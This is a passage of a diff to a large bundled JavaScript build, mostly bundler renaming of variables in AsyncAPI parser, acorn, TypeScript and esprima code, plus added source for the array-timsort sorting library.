parseSchemaV2(parser3, item) { +function parseSchemaV2(parser2, item) { return __awaiter9(this, void 0, void 0, function* () { const originalData = item.input.data; - const parsedData = item.value.payload = yield parseSchema(parser3, item.input); + const parsedData = item.value.payload = yield parseSchema(parser2, item.input); if (originalData !== parsedData) { item.value[xParserOriginalPayload] = originalData; } @@ -176774,24 +170004,24 @@ var init_apply_unique_ids = __esm({ }); // node_modules/@asyncapi/parser/esm/custom-operations/index.js -function customOperations(parser3, document2, detailed, inventory, options) { +function customOperations(parser2, document2, detailed, inventory, options) { return __awaiter10(this, void 0, void 0, function* () { switch (detailed.semver.major) { case 2: - return operationsV2(parser3, document2, detailed, inventory, options); + return operationsV2(parser2, document2, detailed, inventory, options); case 3: - return operationsV3(parser3, document2, detailed, inventory, options); + return operationsV3(parser2, document2, detailed, inventory, options); } }); } -function operationsV2(parser3, document2, detailed, inventory, options) { +function operationsV2(parser2, document2, detailed, inventory, options) { return __awaiter10(this, void 0, void 0, function* () { checkCircularRefs(document2); if (options.applyTraits) { applyTraitsV2(detailed.parsed); } if (options.parseSchemas) { - yield parseSchemasV2(parser3, detailed); + yield parseSchemasV2(parser2, detailed); } if (inventory) { resolveCircularRefs(document2, inventory); @@ -176799,14 +170029,14 @@ function operationsV2(parser3, document2, detailed, inventory, options) { anonymousNaming(document2); }); } -function operationsV3(parser3, document2, detailed, inventory, options) { +function operationsV3(parser2, document2, detailed, inventory, options) { return __awaiter10(this, void 0, void 0, function* () { checkCircularRefs(document2); if (options.applyTraits) { applyTraitsV3(detailed.parsed); } if (options.parseSchemas) { - yield parseSchemasV3(parser3, detailed); + yield parseSchemasV3(parser2, detailed); } if (inventory) { resolveCircularRefs(document2, inventory); @@ -180823,7 +174053,7 @@ var init_messageExamples = __esm({ }); // node_modules/@asyncapi/parser/esm/ruleset/v2/functions/messageExamples-spectral-rule-v2.js -function asyncApi2MessageExamplesParserRule(parser3) { +function asyncApi2MessageExamplesParserRule(parser2) { return { description: "Examples of message object should validate against a payload with an explicit schemaFormat.", message: "{{error}}", @@ -180845,11 +174075,11 @@ function asyncApi2MessageExamplesParserRule(parser3) { "$.components.messageTraits[?(!@null && @.schemaFormat !== void 0)]" ], then: { - function: rulesetFunction(parser3) + function: rulesetFunction(parser2) } }; } -function rulesetFunction(parser3) { +function rulesetFunction(parser2) { return (0, import_spectral_core10.createRulesetFunction)({ input: { type: "object", @@ -180880,7 +174110,7 @@ function rulesetFunction(parser3) { defaultSchemaFormat }; const results = []; - const payloadSchemaResults = yield parseExampleSchema(parser3, targetVal.payload, input); + const payloadSchemaResults = yield parseExampleSchema(parser2, targetVal.payload, input); const payloadSchema = payloadSchemaResults.schema; results.push(...payloadSchemaResults.errors); for (const example of getMessageExamples(targetVal)) { @@ -180895,7 +174125,7 @@ function rulesetFunction(parser3) { return results; })); } -function parseExampleSchema(parser3, schema8, input) { +function parseExampleSchema(parser2, schema8, input) { return __awaiter13(this, void 0, void 0, function* () { const path2 = [...input.rootPath, "payload"]; if (schema8 === void 0) { @@ -180910,7 +174140,7 @@ function parseExampleSchema(parser3, schema8, input) { schemaFormat: input.schemaFormat, defaultSchemaFormat: input.defaultSchemaFormat }; - const parsedSchema = yield parseSchema(parser3, parseSchemaInput); + const parsedSchema = yield parseSchema(parser2, parseSchemaInput); return { path: path2, schema: parsedSchema, errors: [] }; } catch (err) { const error2 = { @@ -181507,7 +174737,7 @@ var init_uniquenessTags = __esm({ }); // node_modules/@asyncapi/parser/esm/schema-parser/spectral-rule-v2.js -function asyncApi2SchemaParserRule(parser3) { +function asyncApi2SchemaParserRule(parser2) { return { description: "Custom schema must be correctly formatted from the point of view of the used format.", message: "{{error}}", @@ -181523,11 +174753,11 @@ function asyncApi2SchemaParserRule(parser3) { "$.components.messages.*" ], then: { - function: rulesetFunction2(parser3) + function: rulesetFunction2(parser2) } }; } -function rulesetFunction2(parser3) { +function rulesetFunction2(parser2) { return (0, import_spectral_core18.createRulesetFunction)({ input: { type: "object", @@ -181559,7 +174789,7 @@ function rulesetFunction2(parser3) { defaultSchemaFormat }; try { - return yield validateSchema(parser3, input); + return yield validateSchema(parser2, input); } catch (err) { return [ { @@ -181796,12 +175026,12 @@ var init_ruleset2 = __esm({ } } }; - v2SchemasRuleset = (parser3) => { + v2SchemasRuleset = (parser2) => { return { description: "Schemas AsyncAPI 2.x.x ruleset.", formats: AsyncAPIFormats.filterByMajorVersions(["2"]).formats(), rules: { - "asyncapi2-schemas": asyncApi2SchemaParserRule(parser3), + "asyncapi2-schemas": asyncApi2SchemaParserRule(parser2), "asyncapi2-schema-default": { description: "Default must be valid against its defined schema.", message: "{{error}}", @@ -181846,7 +175076,7 @@ var init_ruleset2 = __esm({ } } }, - "asyncapi2-message-examples-custom-format": asyncApi2MessageExamplesParserRule(parser3) + "asyncapi2-message-examples-custom-format": asyncApi2MessageExamplesParserRule(parser2) } }; }; @@ -182131,14 +175361,14 @@ var init_v32 = __esm({ }); // node_modules/@asyncapi/parser/esm/ruleset/index.js -function createRuleset(parser3, options) { +function createRuleset(parser2, options) { var _a2; const _b = options || {}, { core: useCore = true, recommended: useRecommended = true } = _b, rest2 = __rest10(_b, ["core", "recommended"]); const extendedRuleset = [ useCore && coreRuleset, useRecommended && recommendedRuleset, useCore && v2CoreRuleset, - useCore && v2SchemasRuleset(parser3), + useCore && v2SchemasRuleset(parser2), useRecommended && v2RecommendedRuleset, useCore && v3CoreRuleset, ...((_a2 = options || {}) === null || _a2 === void 0 ? void 0 : _a2.extends) || [] @@ -182271,11 +175501,11 @@ var init_resolver = __esm({ }); // node_modules/@asyncapi/parser/esm/spectral.js -function createSpectral(parser3, options = {}) { +function createSpectral(parser2, options = {}) { var _a2; const resolverOptions = (_a2 = options.__unstable) === null || _a2 === void 0 ? void 0 : _a2.resolver; const spectral = new import_spectral_core20.Spectral({ resolver: createResolver(resolverOptions) }); - const ruleset = createRuleset(parser3, options.ruleset); + const ruleset = createRuleset(parser2, options.ruleset); spectral.setRuleset(ruleset); return spectral; } @@ -182292,7 +175522,7 @@ var init_spectral = __esm({ }); // node_modules/@asyncapi/parser/esm/validate.js -function validate2(parser3, parserSpectral, asyncapi, options = {}) { +function validate2(parser2, parserSpectral, asyncapi, options = {}) { var _a2; return __awaiter16(this, void 0, void 0, function* () { let document2; @@ -182301,7 +175531,7 @@ function validate2(parser3, parserSpectral, asyncapi, options = {}) { const stringifiedDocument = normalizeInput(asyncapi); document2 = new import_spectral_core21.Document(stringifiedDocument, import_spectral_parsers.Yaml, options.source); document2.__parserInput = asyncapi; - const spectral = ((_a2 = options.__unstable) === null || _a2 === void 0 ? void 0 : _a2.resolver) ? createSpectral(parser3, options) : parserSpectral; + const spectral = ((_a2 = options.__unstable) === null || _a2 === void 0 ? void 0 : _a2.resolver) ? createSpectral(parser2, options) : parserSpectral; let { resolved: validated, results } = yield spectral.runWithResolved(document2, {}); if (!(allowedSeverity === null || allowedSeverity === void 0 ? void 0 : allowedSeverity.error) && hasErrorDiagnostic(results) || !(allowedSeverity === null || allowedSeverity === void 0 ? void 0 : allowedSeverity.warning) && hasWarningDiagnostic(results) || !(allowedSeverity === null || allowedSeverity === void 0 ? void 0 : allowedSeverity.info) && hasInfoDiagnostic(results) || !(allowedSeverity === null || allowedSeverity === void 0 ? void 0 : allowedSeverity.hint) && hasHintDiagnostic(results)) { validated = void 0; @@ -182362,12 +175592,12 @@ var init_validate = __esm({ }); // node_modules/@asyncapi/parser/esm/parse.js -function parse5(parser3, spectral, asyncapi, options = {}) { +function parse5(parser2, spectral, asyncapi, options = {}) { return __awaiter17(this, void 0, void 0, function* () { let spectralDocument; try { options = mergePatch(defaultOptions2, options); - const { validated, diagnostics, extras } = yield validate2(parser3, spectral, asyncapi, Object.assign(Object.assign({}, options.validateOptions), { source: options.source, __unstable: options.__unstable })); + const { validated, diagnostics, extras } = yield validate2(parser2, spectral, asyncapi, Object.assign(Object.assign({}, options.validateOptions), { source: options.source, __unstable: options.__unstable })); if (validated === void 0) { return { document: void 0, @@ -182383,7 +175613,7 @@ function parse5(parser3, spectral, asyncapi, options = {}) { const document2 = createAsyncAPIDocument(detailed); setExtension(xParserSpecParsed, true, document2); setExtension(xParserApiVersion, ParserAPIVersion, document2); - yield customOperations(parser3, document2, detailed, inventory, options); + yield customOperations(parser2, document2, detailed, inventory, options); return { document: document2, diagnostics, @@ -182403,7 +175633,7 @@ var init_parse = __esm({ init_models(); init_custom_operations(); init_validate(); - init_stringify2(); + init_stringify(); init_document(); init_utils2(); init_constants(); @@ -182569,7 +175799,7 @@ var init_asyncapi_schema_parser = __esm({ // node_modules/@asyncapi/parser/esm/parser.js var __awaiter19, Parser3; -var init_parser3 = __esm({ +var init_parser2 = __esm({ "node_modules/@asyncapi/parser/esm/parser.js"() { init_dirname(); init_buffer2(); @@ -182614,7 +175844,7 @@ var init_parser3 = __esm({ this.parserRegistry = /* @__PURE__ */ new Map(); this.spectral = createSpectral(this, options); this.registerSchemaParser(AsyncAPISchemaParser()); - (_a2 = this.options.schemaParsers) === null || _a2 === void 0 ? void 0 : _a2.forEach((parser3) => this.registerSchemaParser(parser3)); + (_a2 = this.options.schemaParsers) === null || _a2 === void 0 ? void 0 : _a2.forEach((parser2) => this.registerSchemaParser(parser2)); } parse(asyncapi, options) { return __awaiter19(this, void 0, void 0, function* () { @@ -182637,8 +175867,8 @@ var init_parser3 = __esm({ return (yield validate2(this, this.spectral, asyncapi, options)).diagnostics; }); } - registerSchemaParser(parser3) { - return registerSchemaParser(this, parser3); + registerSchemaParser(parser2) { + return registerSchemaParser(this, parser2); } }; } @@ -184798,7 +178028,7 @@ var require_browser3 = __commonJS({ }); // node_modules/@asyncapi/parser/esm/from.js -function fromURL(parser3, source, options) { +function fromURL(parser2, source, options) { function fetchUrl() { return __awaiter20(this, void 0, void 0, function* () { const fetchFn = yield getFetch(); @@ -184809,18 +178039,18 @@ function fromURL(parser3, source, options) { parse(options2 = {}) { return __awaiter20(this, void 0, void 0, function* () { const schema8 = yield fetchUrl(); - return parser3.parse(schema8, Object.assign(Object.assign({}, options2), { source })); + return parser2.parse(schema8, Object.assign(Object.assign({}, options2), { source })); }); }, validate(options2 = {}) { return __awaiter20(this, void 0, void 0, function* () { const schema8 = yield fetchUrl(); - return parser3.validate(schema8, Object.assign(Object.assign({}, options2), { source })); + return parser2.validate(schema8, Object.assign(Object.assign({}, options2), { source })); }); } }; } -function fromFile(parser3, source, options) { +function fromFile(parser2, source, options) { function readFileFn() { return __awaiter20(this, void 0, void 0, function* () { return (yield promisify(readFile)(source, options)).toString(); @@ -184830,13 +178060,13 @@ function fromFile(parser3, source, options) { parse(options2 = {}) { return __awaiter20(this, void 0, void 0, function* () { const schema8 = yield readFileFn(); - return parser3.parse(schema8, Object.assign(Object.assign({}, options2), { source })); + return parser2.parse(schema8, Object.assign(Object.assign({}, options2), { source })); }); }, validate(options2 = {}) { return __awaiter20(this, void 0, void 0, function* () { const schema8 = yield readFileFn(); - return parser3.validate(schema8, Object.assign(Object.assign({}, options2), { source })); + return parser2.validate(schema8, Object.assign(Object.assign({}, options2), { source })); }); } }; @@ -185373,7 +178603,7 @@ var init_server4 = __esm({ // node_modules/@asyncapi/parser/esm/old-api/schema.js var Schema4; -var init_schema7 = __esm({ +var init_schema4 = __esm({ "node_modules/@asyncapi/parser/esm/old-api/schema.js"() { init_dirname(); init_buffer2(); @@ -185622,7 +178852,7 @@ var init_channel_parameter4 = __esm({ init_buffer2(); init_process2(); init_mixins3(); - init_schema7(); + init_schema4(); ChannelParameter3 = class extends SpecificationExtensionsModel { description() { return description3(this); @@ -185749,7 +178979,7 @@ var init_message_trait4 = __esm({ init_process2(); init_mixins3(); init_correlation_id4(); - init_schema7(); + init_schema4(); MessageTrait3 = class extends SpecificationExtensionsModel { id() { return this._json.messageId; @@ -185841,7 +179071,7 @@ var init_message4 = __esm({ init_buffer2(); init_process2(); init_message_trait4(); - init_schema7(); + init_schema4(); init_constants(); Message3 = class extends MessageTrait3 { uid() { @@ -186076,7 +179306,7 @@ var init_components4 = __esm({ init_mixins3(); init_channel4(); init_message4(); - init_schema7(); + init_schema4(); init_security_scheme4(); init_server4(); init_channel_parameter4(); @@ -186412,7 +179642,7 @@ var init_asyncapi4 = __esm({ init_components4(); init_iterator2(); init_constants(); - init_stringify2(); + init_stringify(); AsyncAPIDocument3 = class _AsyncAPIDocument extends SpecificationExtensionsModel { version() { return this._json.asyncapi; @@ -186616,7 +179846,7 @@ var init_converter = __esm({ init_asyncapi4(); init_constants(); init_document(); - init_stringify2(); + init_stringify(); init_schema_parser(); init_utils2(); } @@ -186643,7 +179873,7 @@ var init_old_api = __esm({ init_oauth_flow4(); init_operation_trait4(); init_operation4(); - init_schema7(); + init_schema4(); init_security_requirement4(); init_security_scheme4(); init_server_variable4(); @@ -186777,9 +180007,9 @@ var init_esm = __esm({ init_buffer2(); init_process2(); init_dist2(); - init_parser3(); + init_parser2(); init_models(); - init_stringify2(); + init_stringify(); init_from(); init_document(); init_old_api(); @@ -752484,9 +745714,9 @@ var require_acorn = __commonJS({ return new this(options, input).parse(); }; Parser7.parseExpressionAt = function parseExpressionAt2(input, pos, options) { - var parser3 = new this(options, input, pos); - parser3.nextToken(); - return parser3.parseExpression(); + var parser2 = new this(options, input, pos); + parser2.nextToken(); + return parser2.parseExpression(); }; Parser7.tokenizer = function tokenizer2(input, options) { return new this(options, input); @@ -755132,17 +748362,17 @@ var require_acorn = __commonJS({ } } }; - var Node = function Node2(parser3, pos, loc) { + var Node = function Node2(parser2, pos, loc) { this.type = ""; this.start = pos; this.end = 0; - if (parser3.options.locations) { - this.loc = new SourceLocation(parser3, loc); + if (parser2.options.locations) { + this.loc = new SourceLocation(parser2, loc); } - if (parser3.options.directSourceFile) { - this.sourceFile = parser3.options.directSourceFile; + if (parser2.options.directSourceFile) { + this.sourceFile = parser2.options.directSourceFile; } - if (parser3.options.ranges) { + if (parser2.options.ranges) { this.range = [pos, 0]; } }; @@ -755235,10 +748465,10 @@ var require_acorn = __commonJS({ buildUnicodeData(ecmaVersion); } var pp$1 = Parser7.prototype; - var RegExpValidationState = function RegExpValidationState2(parser3) { - this.parser = parser3; - this.validFlags = "gim" + (parser3.options.ecmaVersion >= 6 ? "uy" : "") + (parser3.options.ecmaVersion >= 9 ? "s" : "") + (parser3.options.ecmaVersion >= 13 ? "d" : "") + (parser3.options.ecmaVersion >= 15 ? "v" : ""); - this.unicodeProperties = data[parser3.options.ecmaVersion >= 14 ? 14 : parser3.options.ecmaVersion]; + var RegExpValidationState = function RegExpValidationState2(parser2) { + this.parser = parser2; + this.validFlags = "gim" + (parser2.options.ecmaVersion >= 6 ? "uy" : "") + (parser2.options.ecmaVersion >= 9 ? "s" : "") + (parser2.options.ecmaVersion >= 13 ? "d" : "") + (parser2.options.ecmaVersion >= 15 ? "v" : ""); + this.unicodeProperties = data[parser2.options.ecmaVersion >= 14 ? 14 : parser2.options.ecmaVersion]; this.source = ""; this.flags = ""; this.start = 0; @@ -757833,7 +751063,7 @@ var require_node_internal_repl_await = __commonJS({ StringPrototypeStartsWith, SyntaxError: SyntaxError2 } = require_node_primordials(); - var parser3 = require_acorn().Parser; + var parser2 = require_acorn().Parser; var walk = require_walk(); var { Recoverable } = (init_empty(), __toCommonJS(empty_exports)); function isTopLevelDeclaration(state) { @@ -757958,7 +751188,7 @@ var require_node_internal_repl_await = __commonJS({ const wrappedArray = ArrayFrom(wrapped); let root2; try { - root2 = parser3.parse(wrapped, { ecmaVersion: "latest" }); + root2 = parser2.parse(wrapped, { ecmaVersion: "latest" }); } catch (e10) { if (StringPrototypeStartsWith(e10.message, "Unterminated ")) throw new Recoverable(e10); @@ -798208,7 +791438,7 @@ ${lanes.join("\n")} return lhs.name.escapedText === rhs.name.escapedText && tagNamesAreEquivalent(lhs.expression, rhs.expression); } var NodeConstructor, TokenConstructor, IdentifierConstructor, PrivateIdentifierConstructor, SourceFileConstructor, parseBaseNodeFactory, parseNodeFactory, forEachChildTable, Parser7, IncrementalParser, namedArgRegExCache, tripleSlashXMLCommentStartRegEx, singleLinePragmaRegEx; - var init_parser4 = __esm2({ + var init_parser3 = __esm2({ "src/compiler/parser.ts"() { "use strict"; init_ts2(); @@ -907196,7 +900426,7 @@ ${lanes.join("\n")} init_nodeTests(); init_utilities2(); init_utilitiesPublic2(); - init_parser4(); + init_parser3(); init_commandLineParser(); init_moduleNameResolver(); init_binder(); @@ -972130,22 +965360,22 @@ var require_esprima = __commonJS({ if (options && typeof options.sourceType === "string") { isModule = options.sourceType === "module"; } - var parser3; + var parser2; if (options && typeof options.jsx === "boolean" && options.jsx) { - parser3 = new jsx_parser_1.JSXParser(code, options, parserDelegate); + parser2 = new jsx_parser_1.JSXParser(code, options, parserDelegate); } else { - parser3 = new parser_1.Parser(code, options, parserDelegate); + parser2 = new parser_1.Parser(code, options, parserDelegate); } - var program = isModule ? parser3.parseModule() : parser3.parseScript(); + var program = isModule ? parser2.parseModule() : parser2.parseScript(); var ast = program; if (collectComment && commentHandler) { ast.comments = commentHandler.comments; } - if (parser3.config.tokens) { - ast.tokens = parser3.tokens; + if (parser2.config.tokens) { + ast.tokens = parser2.tokens; } - if (parser3.config.tolerant) { - ast.errors = parser3.errorHandler.errors; + if (parser2.config.tolerant) { + ast.errors = parser2.errorHandler.errors; } return ast; } @@ -978291,2125 +971521,8392 @@ var require_esprima = __commonJS({ ); }); } -}); +}); + +// node_modules/array-timsort/src/index.js +var require_src6 = __commonJS({ + "node_modules/array-timsort/src/index.js"(exports28, module5) { + init_dirname(); + init_buffer2(); + init_process2(); + var DEFAULT_MIN_MERGE = 32; + var DEFAULT_MIN_GALLOPING = 7; + var DEFAULT_TMP_STORAGE_LENGTH = 256; + var POWERS_OF_TEN = [1, 10, 100, 1e3, 1e4, 1e5, 1e6, 1e7, 1e8, 1e9]; + var results; + var log10 = (x7) => x7 < 1e5 ? x7 < 100 ? x7 < 10 ? 0 : 1 : x7 < 1e4 ? x7 < 1e3 ? 2 : 3 : 4 : x7 < 1e7 ? x7 < 1e6 ? 5 : 6 : x7 < 1e9 ? x7 < 1e8 ? 7 : 8 : 9; + function alphabeticalCompare(a7, b8) { + if (a7 === b8) { + return 0; + } + if (~~a7 === a7 && ~~b8 === b8) { + if (a7 === 0 || b8 === 0) { + return a7 < b8 ? -1 : 1; + } + if (a7 < 0 || b8 < 0) { + if (b8 >= 0) { + return -1; + } + if (a7 >= 0) { + return 1; + } + a7 = -a7; + b8 = -b8; + } + const al = log10(a7); + const bl = log10(b8); + let t8 = 0; + if (al < bl) { + a7 *= POWERS_OF_TEN[bl - al - 1]; + b8 /= 10; + t8 = -1; + } else if (al > bl) { + b8 *= POWERS_OF_TEN[al - bl - 1]; + a7 /= 10; + t8 = 1; + } + if (a7 === b8) { + return t8; + } + return a7 < b8 ? -1 : 1; + } + const aStr = String(a7); + const bStr = String(b8); + if (aStr === bStr) { + return 0; + } + return aStr < bStr ? -1 : 1; + } + function minRunLength(n7) { + let r8 = 0; + while (n7 >= DEFAULT_MIN_MERGE) { + r8 |= n7 & 1; + n7 >>= 1; + } + return n7 + r8; + } + function makeAscendingRun(array, lo, hi, compare) { + let runHi = lo + 1; + if (runHi === hi) { + return 1; + } + if (compare(array[runHi++], array[lo]) < 0) { + while (runHi < hi && compare(array[runHi], array[runHi - 1]) < 0) { + runHi++; + } + reverseRun(array, lo, runHi); + reverseRun(results, lo, runHi); + } else { + while (runHi < hi && compare(array[runHi], array[runHi - 1]) >= 0) { + runHi++; + } + } + return runHi - lo; + } + function reverseRun(array, lo, hi) { + hi--; + while (lo < hi) { + const t8 = array[lo]; + array[lo++] = array[hi]; + array[hi--] = t8; + } + } + function binaryInsertionSort(array, lo, hi, start, compare) { + if (start === lo) { + start++; + } + for (; start < hi; start++) { + const pivot = array[start]; + const pivotIndex = results[start]; + let left = lo; + let right = start; + while (left < right) { + const mid = left + right >>> 1; + if (compare(pivot, array[mid]) < 0) { + right = mid; + } else { + left = mid + 1; + } + } + let n7 = start - left; + switch (n7) { + case 3: + array[left + 3] = array[left + 2]; + results[left + 3] = results[left + 2]; + case 2: + array[left + 2] = array[left + 1]; + results[left + 2] = results[left + 1]; + case 1: + array[left + 1] = array[left]; + results[left + 1] = results[left]; + break; + default: + while (n7 > 0) { + array[left + n7] = array[left + n7 - 1]; + results[left + n7] = results[left + n7 - 1]; + n7--; + } + } + array[left] = pivot; + results[left] = pivotIndex; + } + } + function gallopLeft(value2, array, start, length, hint, compare) { + let lastOffset = 0; + let maxOffset = 0; + let offset = 1; + if (compare(value2, array[start + hint]) > 0) { + maxOffset = length - hint; + while (offset < maxOffset && compare(value2, array[start + hint + offset]) > 0) { + lastOffset = offset; + offset = (offset << 1) + 1; + if (offset <= 0) { + offset = maxOffset; + } + } + if (offset > maxOffset) { + offset = maxOffset; + } + lastOffset += hint; + offset += hint; + } else { + maxOffset = hint + 1; + while (offset < maxOffset && compare(value2, array[start + hint - offset]) <= 0) { + lastOffset = offset; + offset = (offset << 1) + 1; + if (offset <= 0) { + offset = maxOffset; + } + } + if (offset > maxOffset) { + offset = maxOffset; + } + const tmp = lastOffset; + lastOffset = hint - offset; + offset = hint - tmp; + } + lastOffset++; + while (lastOffset < offset) { + const m7 = lastOffset + (offset - lastOffset >>> 1); + if (compare(value2, array[start + m7]) > 0) { + lastOffset = m7 + 1; + } else { + offset = m7; + } + } + return offset; + } + function gallopRight(value2, array, start, length, hint, compare) { + let lastOffset = 0; + let maxOffset = 0; + let offset = 1; + if (compare(value2, array[start + hint]) < 0) { + maxOffset = hint + 1; + while (offset < maxOffset && compare(value2, array[start + hint - offset]) < 0) { + lastOffset = offset; + offset = (offset << 1) + 1; + if (offset <= 0) { + offset = maxOffset; + } + } + if (offset > maxOffset) { + offset = maxOffset; + } + const tmp = lastOffset; + lastOffset = hint - offset; + offset = hint - tmp; + } else { + maxOffset = length - hint; + while (offset < maxOffset && compare(value2, array[start + hint + offset]) >= 0) { + lastOffset = offset; + offset = (offset << 1) + 1; + if (offset <= 0) { + offset = maxOffset; + } + } + if (offset > maxOffset) { + offset = maxOffset; + } + lastOffset += hint; + offset += hint; + } + lastOffset++; + while (lastOffset < offset) { + const m7 = lastOffset + (offset - lastOffset >>> 1); + if (compare(value2, array[start + m7]) < 0) { + offset = m7; + } else { + lastOffset = m7 + 1; + } + } + return offset; + } + var TimSort = class { + constructor(array, compare) { + this.array = array; + this.compare = compare; + const { length } = array; + this.length = length; + this.minGallop = DEFAULT_MIN_GALLOPING; + this.tmpStorageLength = length < 2 * DEFAULT_TMP_STORAGE_LENGTH ? length >>> 1 : DEFAULT_TMP_STORAGE_LENGTH; + this.tmp = new Array(this.tmpStorageLength); + this.tmpIndex = new Array(this.tmpStorageLength); + this.stackLength = length < 120 ? 5 : length < 1542 ? 10 : length < 119151 ? 19 : 40; + this.runStart = new Array(this.stackLength); + this.runLength = new Array(this.stackLength); + this.stackSize = 0; + } + /** + * Push a new run on TimSort's stack. + * + * @param {number} runStart - Start index of the run in the original array. + * @param {number} runLength - Length of the run; + */ + pushRun(runStart, runLength) { + this.runStart[this.stackSize] = runStart; + this.runLength[this.stackSize] = runLength; + this.stackSize += 1; + } + /** + * Merge runs on TimSort's stack so that the following holds for all i: + * 1) runLength[i - 3] > runLength[i - 2] + runLength[i - 1] + * 2) runLength[i - 2] > runLength[i - 1] + */ + mergeRuns() { + while (this.stackSize > 1) { + let n7 = this.stackSize - 2; + if (n7 >= 1 && this.runLength[n7 - 1] <= this.runLength[n7] + this.runLength[n7 + 1] || n7 >= 2 && this.runLength[n7 - 2] <= this.runLength[n7] + this.runLength[n7 - 1]) { + if (this.runLength[n7 - 1] < this.runLength[n7 + 1]) { + n7--; + } + } else if (this.runLength[n7] > this.runLength[n7 + 1]) { + break; + } + this.mergeAt(n7); + } + } + /** + * Merge all runs on TimSort's stack until only one remains. + */ + forceMergeRuns() { + while (this.stackSize > 1) { + let n7 = this.stackSize - 2; + if (n7 > 0 && this.runLength[n7 - 1] < this.runLength[n7 + 1]) { + n7--; + } + this.mergeAt(n7); + } + } + /** + * Merge the runs on the stack at positions i and i+1. Must be always be called + * with i=stackSize-2 or i=stackSize-3 (that is, we merge on top of the stack). + * + * @param {number} i - Index of the run to merge in TimSort's stack. + */ + mergeAt(i7) { + const { compare } = this; + const { array } = this; + let start1 = this.runStart[i7]; + let length1 = this.runLength[i7]; + const start2 = this.runStart[i7 + 1]; + let length2 = this.runLength[i7 + 1]; + this.runLength[i7] = length1 + length2; + if (i7 === this.stackSize - 3) { + this.runStart[i7 + 1] = this.runStart[i7 + 2]; + this.runLength[i7 + 1] = this.runLength[i7 + 2]; + } + this.stackSize--; + const k6 = gallopRight(array[start2], array, start1, length1, 0, compare); + start1 += k6; + length1 -= k6; + if (length1 === 0) { + return; + } + length2 = gallopLeft( + array[start1 + length1 - 1], + array, + start2, + length2, + length2 - 1, + compare + ); + if (length2 === 0) { + return; + } + if (length1 <= length2) { + this.mergeLow(start1, length1, start2, length2); + } else { + this.mergeHigh(start1, length1, start2, length2); + } + } + /** + * Merge two adjacent runs in a stable way. The runs must be such that the + * first element of run1 is bigger than the first element in run2 and the + * last element of run1 is greater than all the elements in run2. + * The method should be called when run1.length <= run2.length as it uses + * TimSort temporary array to store run1. Use mergeHigh if run1.length > + * run2.length. + * + * @param {number} start1 - First element in run1. + * @param {number} length1 - Length of run1. + * @param {number} start2 - First element in run2. + * @param {number} length2 - Length of run2. + */ + mergeLow(start1, length1, start2, length2) { + const { compare } = this; + const { array } = this; + const { tmp } = this; + const { tmpIndex } = this; + let i7 = 0; + for (i7 = 0; i7 < length1; i7++) { + tmp[i7] = array[start1 + i7]; + tmpIndex[i7] = results[start1 + i7]; + } + let cursor1 = 0; + let cursor2 = start2; + let dest = start1; + array[dest] = array[cursor2]; + results[dest] = results[cursor2]; + dest++; + cursor2++; + if (--length2 === 0) { + for (i7 = 0; i7 < length1; i7++) { + array[dest + i7] = tmp[cursor1 + i7]; + results[dest + i7] = tmpIndex[cursor1 + i7]; + } + return; + } + if (length1 === 1) { + for (i7 = 0; i7 < length2; i7++) { + array[dest + i7] = array[cursor2 + i7]; + results[dest + i7] = results[cursor2 + i7]; + } + array[dest + length2] = tmp[cursor1]; + results[dest + length2] = tmpIndex[cursor1]; + return; + } + let { minGallop } = this; + while (true) { + let count1 = 0; + let count2 = 0; + let exit3 = false; + do { + if (compare(array[cursor2], tmp[cursor1]) < 0) { + array[dest] = array[cursor2]; + results[dest] = results[cursor2]; + dest++; + cursor2++; + count2++; + count1 = 0; + if (--length2 === 0) { + exit3 = true; + break; + } + } else { + array[dest] = tmp[cursor1]; + results[dest] = tmpIndex[cursor1]; + dest++; + cursor1++; + count1++; + count2 = 0; + if (--length1 === 1) { + exit3 = true; + break; + } + } + } while ((count1 | count2) < minGallop); + if (exit3) { + break; + } + do { + count1 = gallopRight(array[cursor2], tmp, cursor1, length1, 0, compare); + if (count1 !== 0) { + for (i7 = 0; i7 < count1; i7++) { + array[dest + i7] = tmp[cursor1 + i7]; + results[dest + i7] = tmpIndex[cursor1 + i7]; + } + dest += count1; + cursor1 += count1; + length1 -= count1; + if (length1 <= 1) { + exit3 = true; + break; + } + } + array[dest] = array[cursor2]; + results[dest] = results[cursor2]; + dest++; + cursor2++; + if (--length2 === 0) { + exit3 = true; + break; + } + count2 = gallopLeft(tmp[cursor1], array, cursor2, length2, 0, compare); + if (count2 !== 0) { + for (i7 = 0; i7 < count2; i7++) { + array[dest + i7] = array[cursor2 + i7]; + results[dest + i7] = results[cursor2 + i7]; + } + dest += count2; + cursor2 += count2; + length2 -= count2; + if (length2 === 0) { + exit3 = true; + break; + } + } + array[dest] = tmp[cursor1]; + results[dest] = tmpIndex[cursor1]; + dest++; + cursor1++; + if (--length1 === 1) { + exit3 = true; + break; + } + minGallop--; + } while (count1 >= DEFAULT_MIN_GALLOPING || count2 >= DEFAULT_MIN_GALLOPING); + if (exit3) { + break; + } + if (minGallop < 0) { + minGallop = 0; + } + minGallop += 2; + } + this.minGallop = minGallop; + if (minGallop < 1) { + this.minGallop = 1; + } + if (length1 === 1) { + for (i7 = 0; i7 < length2; i7++) { + array[dest + i7] = array[cursor2 + i7]; + results[dest + i7] = results[cursor2 + i7]; + } + array[dest + length2] = tmp[cursor1]; + results[dest + length2] = tmpIndex[cursor1]; + } else if (length1 === 0) { + throw new Error("mergeLow preconditions were not respected"); + } else { + for (i7 = 0; i7 < length1; i7++) { + array[dest + i7] = tmp[cursor1 + i7]; + results[dest + i7] = tmpIndex[cursor1 + i7]; + } + } + } + /** + * Merge two adjacent runs in a stable way. The runs must be such that the + * first element of run1 is bigger than the first element in run2 and the + * last element of run1 is greater than all the elements in run2. + * The method should be called when run1.length > run2.length as it uses + * TimSort temporary array to store run2. Use mergeLow if run1.length <= + * run2.length. + * + * @param {number} start1 - First element in run1. + * @param {number} length1 - Length of run1. + * @param {number} start2 - First element in run2. + * @param {number} length2 - Length of run2. + */ + mergeHigh(start1, length1, start2, length2) { + const { compare } = this; + const { array } = this; + const { tmp } = this; + const { tmpIndex } = this; + let i7 = 0; + for (i7 = 0; i7 < length2; i7++) { + tmp[i7] = array[start2 + i7]; + tmpIndex[i7] = results[start2 + i7]; + } + let cursor1 = start1 + length1 - 1; + let cursor2 = length2 - 1; + let dest = start2 + length2 - 1; + let customCursor = 0; + let customDest = 0; + array[dest] = array[cursor1]; + results[dest] = results[cursor1]; + dest--; + cursor1--; + if (--length1 === 0) { + customCursor = dest - (length2 - 1); + for (i7 = 0; i7 < length2; i7++) { + array[customCursor + i7] = tmp[i7]; + results[customCursor + i7] = tmpIndex[i7]; 